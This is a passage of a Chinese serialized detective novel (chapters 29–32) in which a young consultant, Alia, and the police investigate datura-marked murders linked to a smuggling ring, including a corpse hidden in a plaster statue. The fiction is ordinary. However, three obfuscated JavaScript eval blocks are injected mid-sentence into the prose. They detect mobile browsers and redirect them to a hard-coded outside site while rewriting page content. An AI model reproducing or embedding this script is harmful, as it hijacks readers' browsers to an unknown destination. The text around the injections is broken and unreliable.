“恐怕多莉丝也是因为知道自己围裙上的血迹瞒不住后面的搜身,所以才打算认下侮辱尸体的罪行,用小罪遮掩大罪。对杰罗姆的爱慕那些都是为了立人设,这样在解释自己侮辱尸体的行为才能逻辑通顺。” 阿莉雅摸着下巴:“果然还是会依赖视觉带来的第一感受啊,在发现两位嫌疑人身上毫无血迹后,警探先生也没有进一步进行搜查。” 警探先生苦笑:“阿莉雅小姐说得是。我也是被这两天的案件弄昏头了……唉,最近遇到的嫌疑人动不动就要因为搜身这件事对我们提起诉讼。” “嗯……”阿莉雅犹豫开口,“虽然你们好像是很忙……但,嗯,这里还有具尸体。警探先生可能要加班了。” 29. 永昼与黑夜之间·第八幕 “加班?等等,不对,尸体!”警探先生的眼睛瞪大。 几乎是下意识的,警探回头看向被他们推来推去的雕像。 “手指的横截面太逼真了。而且石膏的人物雕塑大部分是空心的,这是亚瑟刚刚告诉我的。”阿莉雅说。 “啊,所以你刚才问我石膏雕塑的做法啊。”亚瑟摸了摸下巴,“这么说的话,确实更像是直接将石膏浇注在人身上完成的。” 阿莉雅纠正他的话:“不是像,这就是。” 馆长巴里先生的脸色很不好:“也就是说,这里面真的有一具尸体吗?” 这都是什么事啊……先是走私又来杀人,现在还有尸体被藏进雕塑里了!巴里觉得他可能真的要找人来驱除霉运了。 警探挥挥手招呼其他人过来打开雕塑:“都小心点,尽量不要伤到里面的尸体。” 负责切割的小警员深呼吸,小心翼翼地下手,只刚割开一小块口子,扑面而来一股恶臭——是腐坏的气味。 “死亡时间至少有三天了。”阿莉雅向后退了一步,“最近有失踪人员的家属报案吗?” “没有。”警探摇头,“所以也不好确认这名死者的身份。” “那位送来雕塑的员工呢?”阿莉雅问馆长,“他住在哪?接下来的调查工作需要他配合。” 巴里先生很快报出一个地址:“他就住在这。” “马尼区,又是马尼区。”阿莉雅若有所思,“美术馆的工资很丰厚吗?” “并不算丰厚。”巴里先生抹掉脑袋上的汗,“因为美术馆的工作比较清闲,所以大部分来这里的都是本来就有点家底的孩子。罗斯·格林他们那样的保安,因为有值夜班的要求,反而是工资相较高点的。” 罗斯·格林就是那个走私团伙的一员,利用美术馆中的艺术品藏匿毒品走私,结果在一个月前意外失足落水而亡。 “那名员工叫什么名字?”吉尔探员笔下记录着。 “菲尔·达勒,他的父母在五年前逝世后留了大笔遗产给他。我和他们家的关系还不错,所以就让那孩子来美术馆工作了。”巴里先生舔了舔嘴唇,“菲尔经常从其他地方搞来奇奇怪怪的藏品,这次恐怕也是他被人骗了……” “是曼陀罗!”鉴识人员惊呼。 警探立马严肃了表情走过去:“一样吗?” “是的,和之前的几起案子一样,也是放置在死者的心脏处。因为被大衣盖住所以没能第一时间发现。” 警探露出“这下麻烦了”的表情,他令一批人留下,另一批人跟随他行动:“抱歉馆长,现在这具尸体已经和一个连环杀人案关联上了,我们得尽快去见菲尔·达勒。” “亚瑟还有阿莉雅,如果你们想继续调查就跟我们一起过去吧,让吉尔开车载你们。”说完,警探便匆匆忙忙地跑走。 巴里先生脸色苍白:“连环杀人案!那、那菲尔那小子岂不是很危险?”他拄着手杖,竟然也能追上警探的身影,“我也要去,带上我!” 亚瑟挠挠头:“巴里先生和我们一起不就好了?” 吉尔探员指着雕塑那边示意:“因为阿莉雅小姐还没有要离开的意思。” 金发的少女正用手帕遮掩着口鼻蹲在尸体的不远处:“所以死亡原因是窒息吗?” “详细的死因可能要解剖调查,不过初步判断是窒息没错。”法医小姐温柔地回答她的问题,“死者的口鼻处有丝质的纤维残留,恐怕是被手帕或者枕头捂死的。” “没有挣扎的痕迹?” “没有挣扎的痕迹。或许是安眠药……总之得回去进一步调查才行。” 阿莉雅托腮思考:“我还以为是用石膏……” “怎么样,有什么发现吗?”亚瑟从背后把妹妹抱起,放到另一边,“说过很多遍了,在没有防护的情况下不要离尸体那么近。” 阿莉雅撇撇嘴:“断指和曼陀罗是有什么深意吗?” “说到断指的话,就是‘小偷’吧。”吉尔探员加入对话,“曼陀罗也有‘危险、欺骗、死亡征兆’这类花语。” “断指、窒息、曼陀罗……”亚瑟觉得元素过多,“一般来说,杀人会那么复杂吗?” “从凶手让其窒息而亡来看,凶手应该是个控制欲很强的人,避免直接的暴力手段说明凶手不打算暴露自己的罪行,拥有稳定的身份……”阿莉雅喃喃自语,“嗯,至少在外人看来,凶手是个谦逊有礼的体面人。” “灌注石膏雕像,让尸体成为永恒的作品,凶手可能还有点自恋倾向。不对,永恒?”阿莉雅总觉得最近似乎在哪听过这个词,“四日暮色沉,月吻十声痕,爱随梦沉去,予他以永恒……” “卡萨诺瓦的预告函?”亚瑟还记得那段诗句。 吉尔探员补充:“是假预告函。” “落款是什么?”阿莉雅回神后问。 “C.N.”亚瑟还记得几天前见过的那张预告函。 “Creation''sNarrative……创世纪……”阿莉雅深呼吸后叹气,“这恐怕和之前的走私案脱不开关系。希望不是我想的那样。” “走私团体的内斗吗?”吉尔说,“那么那则预告函是真的了,只不过不是卡萨诺瓦发来的,是走私团体的。” “等一下等一下,为什么可以断定是和走私团体有关?落款是C.N.的话,还可以是其他的什么吧,比如CelestialNovem什么的……”亚瑟开口问,“还是说,有其他线索我没有注意到吗?” “这里是哪里?”阿莉雅问。 “美术馆……啊,永昼与黑夜之间!”亚瑟恍然,“但创世七日中,分开昼夜的是第一日才对吧?” “第四日是日月,阿波罗和恩底弥翁也有日月的象征。”吉尔探员提醒,“除了这点外,这周的前三天也有案件发生,死者都是走私案相关人员。尸体的发现地点和时间分别是:周一黄昏的某处天台,周二清晨的池塘,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284233|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三午时的植物园。” “都对上了。周一分开昼夜对应着黄昏,周二的池塘对应着雨水,周三的植物园则对应着草木。”亚瑟将目光落在尸体身上,“周四……也就是今天,在永昼与黑夜之间,对应着日月。” “嗯……”阿莉雅点头,“不过就算没有这些线索,从警探的表现来看也能判断是和走私案相关吧。毕竟他之前就说有个走私案的嫌疑人在雨天死了。” “之前听我说可能要加班时,他还没有很严肃。一听见有曼陀罗之后就态度大变,肯定是因为和他手上的案子有关系才会是这样。所以前三名死者死亡时心口处也有曼陀罗花?” 吉尔探员答:“是的,警局给凶手起了个绰号‘曼陀罗杀手’。” “好土。”阿莉雅有点嫌弃,“为什么要给杀人犯起绰号,只有这一个死者是断指吗?” “啊,是的。只有这名死者有断指。为什么这么问?”吉尔探员先是回答了后一个问题,“至于起名号这件事……大概是因为周三的那名死者,是被曼陀罗花贯穿了心脏?” “因为如果其他三名死者也有断指的话,按照你们警局的起名风格,可能要给杀人犯‘断指狂魔’这样的称号了。”阿莉雅无语,“不要给杀人犯起名号,这样只会助长他们杀人的欲望——大部分的连环杀人犯都有表演人格。” “阿莉雅小姐,我们还发现了一样东西。”法医小姐终于找到机会说话,“死者的口袋里有张纸条……” 接过透明的证据袋,吉尔探员皱着眉辨认出被污染的文字:“五日,鱼儿飞向了天空,鸟儿坠落沉入海底。安详于此的人类获得了永生。” “预告函?”亚瑟怀疑,“但是风格和之前不太一样……” “布谷鸟市的著名景点是什么?”阿莉雅问。 “诶?”吉尔探员愣住。 亚瑟抢答:“布谷鸟钟塔,布谷鸟广场,布谷鸟……还有镜湖。” “那就是镜湖。”阿莉雅肯定地开口,“毕竟是天空和海洋颠倒的奇景,在布谷鸟市应当是著名景点。” “那我们现在应该去镜湖还是马尼区的菲尔·达勒家?”吉尔探员询问着阿莉雅的想法。 “菲尔·达勒家。”阿莉雅果断答,“镜湖的事联系警局的其他人去调查,派些人去那里盯梢,如果能蹲到抛尸的凶手就再好不过了。” “我们去菲尔·达勒家,要是能有其他线索,说不定能救下可能会变成镜湖中尸体的那人。”虽然阿莉雅觉得希望渺茫,但凡事总得尽力而为。 三人急匆匆上车,由于时间紧急,吉尔控制着蒸汽马车以飞速抵达了马尼区。 科洛桑兄妹捂着胃部虚弱地下车。 “……好可怕……我觉得我好像看到了一个白胡子的老头……”阿莉雅晕晕乎乎地倒在兄长的背上。 “好晕……比吃了夏洛特的特制奶油蘑菇汤还晕……”亚瑟扶着脑袋努力站稳,“好多蘑菇,不对,是人还是蘑菇?” 30. 永昼与黑夜之间·第九幕 马尼区,菲尔·达勒家门口。 警察们神色匆匆地进出,脸上无一不是严肃的神情。 “阿莉雅小姐,亚瑟,你们来了。”只是一会儿没见,警探先生就似乎更苍老了。 “菲尔·达勒死了。”警探叹着气捏了捏自己的眉心,“我们来迟了一步。” 法医的鉴定报告上写着,菲尔·达勒就死在警察到来前的五分钟。 “我们怀疑凶手还没跑远,所以暂时封锁了这附近的区域……不过,你们知道的,马尼区作为别墅区向来是富人们倾向于居住的区域……”警探又叹了一口气,“巴里先生还沉浸在悲伤中,亚瑟,你去陪下他吧。” 亚瑟把妹妹暂时拜托给吉尔探员,迈着担忧的步子去别墅的客厅安慰那位在沙发上啜泣的老人。 “我们在美术馆的死者口袋中发现了一张纸条……”阿莉雅简单描述了一下他们的发现,“来之前,我已经以我的名义给布谷鸟市的警局通讯过了,镜湖那边的事情就拜托给他们吧。” 警探再次叹气,自从进到这座别墅,他每次开口几乎都离不开一声叹息:“真是麻烦你了,阿莉雅小姐,你明明还在休假中,竟然还带病坚持工作。” “案件从来不会等到我们上班时才发生。”阿莉雅摇头,“如果能在发生前就将案件的苗头掐灭,那么我很乐意持续工作……有交接班的那种。” “恐怕只有德雷森侦探才能和阿莉雅小姐交接班了吧……”警探不自觉地脱口而出,说完才意识到德雷森侦探和阿莉雅小姐的关系紧张——具体来说,是阿莉雅小姐单方面和德雷森侦探关系紧张。 不过此刻阿莉雅没有闲心去注意这些细节,又或者是因为她失忆了所以对德雷森侦探毫无感觉,总之她和吉尔探员往案发现场厨房走去。 “死因是?” “胸口中刀失血过多而亡。”法医,美术馆那位温柔的法医小姐并没有跟过来,这里的法医先生冷冰冰地回答。 “我们赶到的时候,菲尔·达勒的尸体尚有余温,但已经没有了鼻息。”警探跟进来补充信息。 “凶手恐怕早就离开了。”阿莉雅得出结论,“他不是因为察觉到有警察来所以才离开,而是故意将菲尔·比勒放置在这里,让他流尽血液而亡。” “可他为什么要这么做?万一有人能够救下……” “所以,他原本就居住在这附近。”阿莉雅十分肯定,“一个能观察到这里,并且有理由在其他人出现时让他们离开的身份。” 警探和吉尔探员异口同声:“保安!” 阿莉雅打了个响指:“没错,但更具体点,应该是名拥有这里房产的保安。” “啊?”警探觉得不可思议,“怎么可能?” “很不可思议吗?现在有很多这样的人,把自己的房产租出去给其他人住分担高昂的房产税,作为房东的本人住家充当保姆或者保安一职。”阿莉雅比较意外,“警探先生不知道吗?尤其是别墅区的房子,很多人会为了体面暂租。” “这个,我以为只有贫苦家庭会这样做,没想到也会有居住在马尼区的人做出这样的事……” “显然,凶手没有一份稳定的工作,所以支付不起房税……”阿莉雅说着说着声音小了下去,“这和美术馆的凶手画像不太一致,是不同的人做的吗?” “我认为是不同的人做的。”吉尔探员很是积极,“美术馆的死者是窒息而亡,没有受到暴力手段攻击,但是这位死者除了胸口的刀伤外,四肢还有些青紫,恐怕和凶手产生了激烈的身体冲突。” “四周也有打斗痕迹,死者头部还有肿块,恐怕最后因为脑部受创还有失血过多昏迷,甚至没有留下死亡讯息。”警探补充。 阿莉雅歪着头思考了一会儿:“还有什么信息?比如,门口是否有入侵痕迹,客厅是否有招待的红茶?” “门口没有入侵痕迹,红茶也没有。”警探一一解答,“不是陌生人撬锁侵入,也不是客人上门。” “那就是熟人,是连红茶都不用端到客厅,直接在厨房聊天喝茶的熟人。”阿莉雅指着自己的鼻子说,“我闻到了红茶的味道,应该是刚泡了没多久。” 警探连忙检查了厨房的台面:“是这样没错!确实有!红茶还没冷下来。” “那就把搜索范围缩小到菲尔·达勒的熟人身上,不过……”阿莉雅也叹了一口气,“不仅要敲门询问证词,还要小心不能让犯人察觉,警方真的要多耗些时间在这上面了。” “走访调查啊……”警探也头疼,“我知道了,我们会注意这边的,有消息后会去告诉阿莉雅小姐的。” “嗯。”阿莉雅点头,“吉尔探员借我用用,我还有其他事情想要调查。” 警探爽快答应。今天一上午的经历让他发现了吉尔这块璞玉,跟着阿莉雅小姐多多锻炼,说不定能够早点转正来警局帮忙分担工作。 “去书房。”阿莉雅小姐示意吉尔探员带路,“调查些菲尔·达勒平常都做些什么。” 书房内部,也有几名鉴识人员正拿着放大镜寻找可能遗留的线索。 “书桌,报纸,日记。”阿莉雅吐出一个个单词,“近一年,不,近一个月的信息,有多少找多少。” “是!”书房内的鉴识人员敬礼应是。这让真正被吩咐的吉尔探员感到无语:“大家都很积极啊……” “这可是可能解决连环杀人犯的线索!”一名年纪尚浅的鉴识人员激动道,“而且是齿轮市的那名顾问小姐拜托我们!” 不不不,她只对我下令了吧。吉尔探员在心里默默反驳。 顾问小姐在听到他们的对话时发出疑问:“唔?连环杀人犯?菲尔·比勒身上也有曼陀罗花吗?” “有的有的。”吉尔探员说,“因为阿莉雅小姐没问,我还以为你知道。” “我又看不到,这种事情要怎么知道?”阿莉雅觉得无语,“稍微认真点,探员。” “抱歉抱歉。”吉尔连忙道歉,“曼陀罗在伤口附近,恐怕是刺中后放上去的。” “啊。”阿莉雅捂着嘴巴,“我知道了。” 她让吉尔继续找线索,拄着雨伞自己咚咚咚地跑下楼。 吉尔探员从书房门口看着她安全抵达一楼才放心地找线索。 “阿莉雅小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297313|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐好可爱!”那位年轻的鉴识人员捂着心口感叹,“像洋娃娃一样!” 房间里的其他人对他的表现很是惊奇:“你竟然还有心情关注这个?” “比起外貌,阿莉雅小姐的推理才是应该惊讶的吧。我还以为是德雷森侦探在说话。”一名鉴识人员抖了抖身子,想到那位侦探就觉得可怕。 “那两人是师生啦师生,像才是正常的吧。” “诶——我听说他们两个关系很差来着?” “不对吧,我记得是青梅竹马——” “咳咳。”吉尔探员轻咳两声,打断他们的讨论,“我觉得,还是找线索更重要。大家觉得呢?” 屋内的其他人一齐噤声,翻起手边的书籍报纸,试图找到可用的线索。 阿莉雅跑到厨房时,警探还没离开:“怎么了阿莉雅小姐?” “有几道刀伤?”阿莉雅喘着气问,“曼陀罗花呢?和之前的一样吗?” “刀伤只有一道,曼陀罗花染上了血,和周三也就是植物园的那名死者很相像。” “没错没错,就是这个!”阿莉雅抓着警探的手拼命摇晃,“这个连环杀人案虽然是连环杀人,但不是一个人做的!” 警探被晃得头晕:“好的好的,总之阿莉雅小姐先冷静一下。” “我很冷静。”阿莉雅迅速收手,“虽然不知道顺序是怎样的,但这几起案件都是同一批人干的。” “你是说走私团体?”警探跟上她的思路,“那个用创世七日的故事当作暗号的走私团伙为什么要这么做?” 阿莉雅摇头:“线索并不清晰,不知道书房里有没有能证明我猜想的信息。” “所以——阿莉雅小姐,能解释下前面的那句话吗?什么叫‘虽然是连环杀人,但不是一个人做的’?”警探谨慎地提问,像是一个担心问题太过简单会遭到老师瞪视的学生。 不过阿莉雅并不是严苛的老师,她耐心解释:“先前的案子中,死者的死法是不是各不相同?” “是的。”警探回忆,“有被重物多次击打而亡的,有溺死在池塘的,也有被利刃刺穿心脏的。” “换句话说,这些死者死状的共同点除了死后胸口处的曼陀罗花外没有任何联系。连环杀人案的特征是什么?” “有相同特征的死者,一致的死法还有……” “规律的时间和地点。”阿莉雅替他补充,“以上,是正常连环杀人案的要素。但这次有什么?” “曼陀罗花。”警探憋了一会儿又冒出一句,“还有创世七日。” “没错,所以不出意料的话……” “阿莉雅小姐,书房里有一本《创世七日》的书,近期的报纸也只有和明天的一场拍卖会相关。”吉尔探员带着不多的线索出现了,“刚刚询问了巴里馆长,死者每个月都会参加拍卖会。” “意料之中。”阿莉雅点头,“拍卖会的举办地?” “……镜湖。” “明天去镜湖看看。”阿莉雅自然地朝警探开口,“吉尔探员明天也借我用。” 警探先生能说什么,他只能点头:“当然,当然。” 31. 永昼与黑夜之间·第十幕 “那么,趁这个机会来梳理一下案件吧。”阿莉雅摸出一沓文件,堆到床铺上。 “为什么?” “嗯?竟然会问为什么。”阿莉雅对这个提问有些意外,“为了抓到这个案子的凶手当然要从最开始重新思考才对吧?” “不……我的意思是,”谢德叹了一口气,“为什么要在我的病房梳理案件呢?不是说不带我去明天的拍卖会吗?”特地强调了“拍卖会”这个单词,怨气满满。 “你是吃不到可颂就闹别扭的小孩子吗?”阿莉雅惊讶,“是医生们不允许你外出的,不是我不带你去哦。” 谢德又将目光放到站在窗边的人身上:“那为什么要带陌生人来?” “嗯,这是我从警探那边借来的可以使唤的家伙。”阿莉雅把资料推到谢德面前,“读给我听。”非常理直气壮。 谢德叹气,还是拿起了排序靠前的资料:“按时间顺序?” “按发现尸体的时间顺序。”阿莉雅点头。 “周一,晚上七点,在阿尔法蓝大道附近的一处废弃大楼天台发现了男尸一具。死者后脑勺受到多次重击,尸体旁沾有血迹的砖头疑似凶器。标志性的曼陀罗花被尸体压在身下,位于胸口处的位置。” “愤怒、仇恨,缺乏犯罪经验。”阿莉雅摸着下巴思考,“冲动杀人的可能性很大。” “案发现场在废弃大楼,或许是因为凶手和死者约在那里见面。”吉尔探员搬来一个椅子坐到阿莉雅旁边,“不过也不能排除抛尸的可能性。” “死者的身份查到了吗?”阿莉雅问。 谢德翻看了一遍资料:“没有。” 吉尔探员补充:“警探很努力地调查了,不过死者身上一点线索也没有,就连衣服也是普普通通的衬衫长裤,几乎每个服装店都会有的款式。” 所以从服装方面对各个服装店进行走访调查也是没有用的。 “没有线索也算是一种线索。”阿莉雅换了个角度思考,“这说明如果暴露死者身份,那么凶手暴露的风险也随之提高。现场的照片有吗?” 谢德翻出来照片:“死者身上的衣服很干净,只有后颈处沾上了血迹。” “还有其他的线索吗?”阿莉雅转头问吉尔探员,“你有跟着去现场吧,衣服上有灰尘吗?” 吉尔探员回忆:“没有灰尘,衣服很干净。所以警方也没办法从身上的污渍等分析出死者的身份,因为这件事,警探还生气了。” “我说,既然有去过现场的人,那为什么还要我来念案件的资料。” “嗯,硬要说的话……”阿莉雅凑到谢德耳边悄悄说,“我觉得谢德你的声音更好听点。” “咳。”很容易就被哄好的助手先生红着耳朵,“这样啊,那也没办法,就让我来念吧。” 吉尔探员垂下眼,有种被排挤在外的微妙感觉。 “没有灰尘啊,那就代表着那里不是真正的案发现场。”阿莉雅重新坐回椅子上,“但是血迹应该是自然的,不然警探先生也不会认定那里是案发现场。” “凶手应该有交通工具,能够搬运一个成年男子的交通工具,马车或者板车……不,是马车。”阿莉雅撑着下巴思考,“是蒸汽马车。” “第一下敲晕了死者,给他换了件衣服,接下来转移到天台用砖头继续……不对,如果是那样的话死者身上的衣服不会那么干净。” “手法粗暴且没有犯罪经验的人会那么注意细节吗?”阿莉雅念念有词,完全沉浸在自己的思考中。 吉尔探员问:“道格先生,和阿莉雅小姐出门一般需要注意什么?” 谢德没有立即回答,他靠在床头沉思了一会儿:“拍卖会啊,那你们应该是直接去专门的包厢。一般都会有甜点和红茶供应……不要让阿莉雅吃太多甜食就行。红茶记得放三块放糖,不加奶。” “绝对、不能吃太多甜食。”谢德强调,“就算她用非常可怜的表情拜托也不能答应。”阿莉雅对甜食的摄取可以说是毫无节制,稍微一不注意就会吃撑。 为了健康着想,谢德每天都有限制她的甜点摄取量,至少是能留出午餐晚餐的量。 吉尔探员应了下来,他觉得谢德最后那句的强调大约是因为真的面对阿莉雅可怜巴巴的请求时谢德没能抵抗住,所以特意提醒自己。 “哼。”就算在思考,阿莉雅的耳朵也还在运转,她清楚地接收到了两个人的对话,“我才不会因为甜点就装可怜。” “第二个案件。” “周二清晨,一名中年男子被发现在阿维卡公园的池塘中溺亡,发现时死者胸口处的口袋插着曼陀罗花。。”谢德翻到下一页,“阿莉雅,第二名死者是蒸汽马车的司机。” “哦。”阿莉雅拉长了声音,“蒸汽马车的司机啊——” “第二名死者名为里斯·怀特,40岁。”谢德念完资料上的文字后又补充,“虽然有很多人还在做蒸汽马车司机的工作,但现在已经有很多城市已经升级成自动驾驶式的蒸汽马车了,布谷鸟市也有推行的打算。” “毕竟对于政府来说,和持续不断地支付司机的报酬相比,只要支付一次昂贵的更换费用说不定更划算呢。”吉尔探员悠悠开口。 谢德瞥了他一眼,继续念资料上的内容:“里斯·怀特似乎有很多次被投诉的经历,大多是因为他对客人的态度并不好。” “生活失意且情绪管理能力差劲的中年男性啊。”阿莉雅啧啧感叹,“这样的人是怎么长大的,真想让米德戴联盟对父母也进行培训教育。” “那恐怕第一课培训就是让父母强制孩子完成学业了。”谢德摇头,“如果孩子不完成父母就不能毕业。” “啊,那还是算了。”17岁、没有完成学业的阿莉雅闭上嘴。 吉尔探员岔开话题:“里斯·怀特近期似乎也有加剧酗酒,我认为在这样的多重情况下,他很有可能就是杀害第一名死者的凶手。” “真奇怪啊。”阿莉雅把脑袋搁到床上,“第一名死者的身份线索完全没有,但第二名死者却毫不忌讳地提供了大量线索。是因为二者在明面上没有关系,所以无所顾忌吗?” “也有可能是因为第一名死者的身份会暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307864|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露一些秘密。”谢德补充。 “帮凶的秘密?”阿莉雅坐直,“这样倒是合理多了。因为有帮凶的存在,所以第一名死者的死法和尸体呈现的线索指向完全不同。” “单看死法,凶手是毫无犯罪经验的冲动杀人。但从尸体上的线索分析,犯人又很谨慎,一点线索都没留下。” 阿莉雅直接排除了死者的原因,不可能是因为死者生前谨慎。不然无法解释抵达废弃天台且后脑勺受击打的死者身上毫无灰尘。 “里斯·怀特是溺亡啊,确定是在公园的池塘溺水吗?”阿莉雅问。 “没有池塘内的藻泥残留,推测是在其他地方溺水后被移动到池塘的。”吉尔探员答,“但是里斯·怀特的大衣口袋里有花瓣的残留,顺便一提,是猴面兰。” “唔……”阿莉雅皱眉,“我对植物了解得不多,但猴面兰不是米德戴联盟随处可见的植物吧。” 吉尔探员点头:“是的,这种植物原产自南阿里卡的雨林,在米德戴联盟就需要温室培育。” 阿莉雅打了个响指:“没记错的话,第三名死者的发现地就在植物园?” “第三名死者,佐利斯·布莱克,植物园的员工。死因是利刃穿心,被发现时曼陀罗花的枝干穿透他的心脏。” “阿尔法蓝大道、阿维卡公园还有植物园,相隔多远?” 被问的吉尔探员眨了眨眼睛:“不知道。” 靠谱的谢德从他的记事本里翻出一沓地图,又从中找出布谷鸟市的那份:“阿尔法蓝大道和阿维卡公园相距较远,搬运尸体的话确实需要交通工具。但阿维卡公园和植物园很近,只要从植物园的后门走三分钟就能到了。” 吉尔探员:“这样听起来,像是所有死者在死前都是犯人一样。” “死者本来就不是完美的受害者。”阿莉雅晃晃脑袋,“他们是否完美无瑕和我们探查真相又不冲突。” “不过你说得没错,探员,这些死者既是受害者又是凶手。《创世七日》的书有在里斯·怀特和佐利斯·布莱克家里找到吗?” “有。”谢德点头,“包括今天的死者,菲尔·达勒。” “所以这起案件是走私团伙的内斗?” 阿莉雅不赞同地摇摇脑袋:“比起内斗,我觉得更像是有什么人在背后挑拨关系……不然为什么会这么凑巧地形成循环?” 犯下第一起案子的凶手是第二位死者,杀害了第二位死者的凶手成为了第三名死者。 “菲尔·达勒杀害佐利斯·布莱克?如果依次推论的话,那么今天逃走的那名凶手就是下一位死者。” “唔唔……”阿莉雅纠结地发出声音,“逻辑上没错,但是美术馆雕像内的死者身份还没弄清,从时间推论来看,那位死者才是最先死亡的。” “我总觉得哪里不对。”她双手托腮,“从菲尔·达勒日常进出拍卖会并且时不时拍下艺术类藏品这点来看,他对艺术有自己的追求,所以做出给尸体灌注石膏塑成像这点也不意外。” “但是,让人窒息死亡的家伙会用利刃刺穿别人的心脏吗?” 32. 永昼与黑夜之间·第十一幕 “不合常理。”阿莉雅喃喃,“太奇怪了。” “一个是内向敏感情绪易波动,一个是外显攻击性。不过,确实都具有控制欲?” 阿莉雅决定采访在场的两位:“什么情况下,一位男性会用丝织物捂死人?” 通常来说,选择柔软物品作案常见于女性凶手。 “……”谢德难以想象,“除非手边只有枕头,但那种情况就属于冲动杀人了吧。” “情感纠葛?对于凶手来说丝织物有特殊含义?”吉尔探员猜测。 “啊!”阿莉雅开心地拍拍吉尔的胳膊,“很有可能,凶手和死者应该是可以同床共眠的关系。” 谢德脑袋有点死机:“所以,他们的关系是……” “情侣吧。”至少阿莉雅比较倾向这个猜测,“或者是凶手的单恋?不然也不会做出把尸体做成雕塑这样的行为。” 阿莉雅点评:“感觉有点变态。” 谢德思考:“有一种可能,凶手是想让自己的恋人成为‘永恒’。比起在自己不知道的时候死去,还是亲手杀了恋人让他变成自己时刻能看到的地方更符合他的心理。” “这样啊,”阿莉雅歪着脑袋,“谢德你竟然能够和那种变态共情,难道你也是那么想的?反正都会死掉,那还是让我亲手杀了我的恋人——这种想法?” “才不是。”谢德叹气,“我明明是在揣测凶手的想法。而且为什么要因为未知就杀掉自己喜欢的人啊。” “不如说,一起殉情更好吧?”吉尔探员加入对话,“比起亲手杀害恋人,还是找个好日子一起死掉比较好吧。” 阿莉雅抖了抖身子:“如果有得选,还是活着比较好。而且,作为警察,希望你们能为了公众的正义死掉。” “这种时候应该祝福我们不会死吧。”谢德忍不住吐槽。 “但是你们刚才的对话不是倾向于自杀吗?”阿莉雅一本正经,“为了个人的情感死亡和为了大众的利益死亡,这么看的话,果然还是为了大家死掉好吧——开玩笑的,大部分死法都很痛,不要死。” “美术馆死者的身份可以从菲尔·达勒的社交网入手。”阿莉雅回归正题,“至于植物园的死者佐利斯·布莱克,可能死于仇杀或者利益冲突。” “最后就是明天镜湖的拍卖会,很多达官贵族参加,警方想要控制整个场馆很难。” “警探说已经尽量调动布谷鸟市警局的人力了,不过为了应对其他突发状况,还是有不少人留守在警局。”吉尔完全不在意地吐露关键情报。 阿莉雅揉揉自己的脑袋,扎好的丸子头轻飘飘地散落成披发,她呆了一下用手摸向自己的后脑勺:“诶?” “因为今天跑来跑去查案子所以没有早上那么牢固了吧。”谢德把阿莉雅转了个方向,“我重新给你绑。” 阿莉雅无聊地晃腿:“探员,你晚上打算做什么?” “按规定我应该去镜湖轮班看守的,不过阿莉雅小姐找警探‘借用’了我,所以我没有别的任务。”吉尔探员老实回答。 “你很闲的样子,陪我去镜湖玩吧。”阿莉雅拍拍手做下决定。 “阿莉雅——”谢德按住阿莉雅的肩,“之前我们说过的吧,没有警察在场的时候不可以乱来。”就算是五岁的小孩也不会相信她口中的“去镜湖玩”。谁会在明知道第二天有可能发生案件还去那里啊!这不是明摆着要偷偷调查吗! 非常理直气壮的阿莉雅伸手一指:“警察。”虽然是实习的,不过这点就不用告诉谢德了。 谢德气笑了,但还是认真地给阿莉雅新鲜出炉的半扎发造型绑上一个蝴蝶结:“我又不是笨蛋,还能看不出来这家伙的身份吗?” “算了,不要做危险的事。”反正他从来没能阻止过阿莉雅的任何决定,“那么,如果不能保证自己安全——” “就吃小番茄。”阿莉雅拍着胸脯保证,“放心吧,我只是单纯去镜湖玩一玩。” “恕我直言,这样子好像不算‘玩一玩’。”吉尔探员跟在阿莉雅的身后按下打到他脑袋的树枝。 “那就当作是大冒险也可以。”阿莉雅步伐轻快,“听说十几岁的学生经常会组织这种活动促进感情。” 信誓旦旦对谢德保证是来镜湖玩的阿莉雅,此刻正带着她从警探那借来的“很好使唤的人”悄悄靠近着拍卖会场的后门。 附近的警察们看见阿莉雅那标志性的金发以及跟在她身后不停打着手势暗示他们不要乱动的吉尔探员,心想大约是顾问小姐的新计划,十分听话地呆在原地继续潜伏。 “所以我们为什么要在大晚上从后门进去,而且也没有钥匙。” “撬开。”阿莉雅用雨伞戳了戳吉尔的小腿,“我允许了,快去撬开。” 吉尔探员嘴上无奈,但手却自行套上手套进行动作:“为什么要让警察撬锁?被发现了可是要写报告和检讨的。” “哼。”阿莉雅不打算解释,在锁打开的那刻推门而入。 “喂,等下,动作轻点。”吉尔连忙拉住她,“你是打算潜入搜查的吧,为什么像是回家一样大摇大摆的。” 阿莉雅:“我的步子已经放得很轻了。” 吉尔叹气:“大小姐,你是不是没接受过专业的潜入培训啊。” 